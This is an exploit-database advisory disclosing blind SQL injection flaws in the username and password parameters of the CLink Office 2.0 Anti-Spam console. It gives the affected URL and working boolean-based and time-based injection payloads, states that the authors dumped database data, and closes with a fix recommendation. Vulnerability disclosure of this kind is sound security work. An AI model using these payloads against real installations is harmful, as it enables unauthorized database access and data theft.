CLink Office 2.0 SQL Injection

2022.05.25
Credit: Stephen Tsoi
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Multiple blind SQL injection vulnerabilities in in CLink Office 2.0 Anti-Spam management console # Date: 30 Mar 2022 # Exploit Author: Erwin Chan, Stephen Tsoi # Vendor Homepage: https://www.communilink.net/ # Softwar: CLink Office # Version: 2.0 # Tested on: CLink Office 2.0 Anti-Spam management console Vulnerability details below: Affected URL: /cgi-bin/anti-spam.pl Affected Parameter: username, password Payload example: - boolean-based blind SQLi * ' AND 1234=(SELECT (CASE WHEN (TRUE) THEN 1234 ELSE (SELECT 1111 UNION SELECT 2222) END))-- LMgx* *' AND 1234=(SELECT (CASE WHEN (FALSE) THEN 1234 ELSE (SELECT 1111 UNION SELECT 2222) END))-- LMgx* - time-based blind SQLi *' OR SLEEP(5)-- LMgx* As a result, we were able to dump database data on application. I recommend development team to perform input sanitization on affected parameters. Please lets me know if you have any questions. Thanks.


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